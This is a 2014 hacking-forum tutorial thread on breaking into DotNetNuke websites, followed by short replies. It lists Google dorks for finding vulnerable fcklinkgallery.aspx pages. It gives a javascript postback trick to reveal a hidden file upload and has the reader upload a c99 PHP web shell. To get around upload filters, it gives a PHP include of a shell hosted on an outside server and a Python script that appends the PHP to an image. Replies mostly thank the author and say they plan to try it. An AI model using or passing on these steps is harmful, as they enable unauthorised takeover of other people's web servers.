Hacking Into Websites In Only Two Minutes Via The DNN Method

Hacking Into Websites In Only Two Minutes Via The DNN Method - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: Hacking Into Websites In Only Two Minutes Via The DNN Method (/Thread-Hacking-Into-Websites-In-Only-Two-Minutes-Via-The-DNN-Method)

Pages: 1 2 3 4 5

Hacking Into Websites In Only Two Minutes Via The DNN Method - ImminentSilence - 01-28-2014

The DNN method is a very simple way to hack into websites, unlike SQL injection or XSS (Cross-site scripting) it does not require script or command injection.

To implement this method you will need:

Access to the internet
Clipboard
Python
Notepad
A jpg image
A PHP shell in .txt format

That is it Smile

Google Dorks required:

inurl:/tabid/36/language/en-US/Default.aspx
inurl:fcklinkgallery.aspx
inurl:/portals/0

Step One: Use the Google dorks, go to a search result an delete everything in the URL till it looks like http://example.com and then after it paste in Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx so the link looks like http://example.com/Providers/HtmlEditorP...llery.aspx and if you get to a Link Gallery that has three options, URL, page and file you can hack in. If it is a blank Link Gallery that only says 'use selected URL' it is not hackable.

Step Two: Go to file, select it and wait for the file page to load.

Step Three: Delete the url and enter:

j a v a s c r i p t:__doPostBack(‘ctlURL$cmdUpload’,”)

Without the spaces.

This javascript will make a browse button visible.

Step Four: Click on the browse button, download c99 shell or another PHP shell and upload it. Sometimes uploads of .php files will be blocked.

Step Five: Getting around block

Bypassing .php upload blocks:

Upload your PHP shell to a web host and then make a .php file containing this code:

<?php
include ("http://linktophpshell.com/shell.php");
?>

Then make a full white .gif or .jpg image and make sure the gif/jpg and php file are all in the same directory.

Then make a python script with this coding:

file = open ('nameofgif.gif','rb').read()
file += open ('nameofphpfile.php','rb').read()
open ('newphpfile.php','wb').write(file)

Then run both. It will create a valid .jpg image containing code to execute the php shell. Upload it to the server, scroll to where the .gif/.jpg you uploaded is located on the website and then the php shell control panel will open letting you do whatever you want.

RE: Hacking Into Websites In Only Two Minutes Via The DNN Method - phodrag - 02-15-2014

I'll trying it.Thanks

RE: Hacking Into Websites In Only Two Minutes Via The DNN Method - Anacreon - 02-15-2014

I wonder how to protect my website from this

RE: Hacking Into Websites In Only Two Minutes Via The DNN Method - eibwen - 02-15-2014

I've been looking for something like this for ages. Thanks

RE: Hacking Into Websites In Only Two Minutes Via The DNN Method - Ligeti - 02-16-2014

More about Dot Net Nuke (DNN): http://en.wikipedia.org/wiki/DotNetNuke

Thanks for sharing.

RE: Hacking Into Websites In Only Two Minutes Via The DNN Method - unohex - 02-16-2014

Nice post ! Smile

You may also check mine.
http://www.hackcommunity.com/Thread-Tutorial-DNN-DotNetNuke-Shell-Upload-Root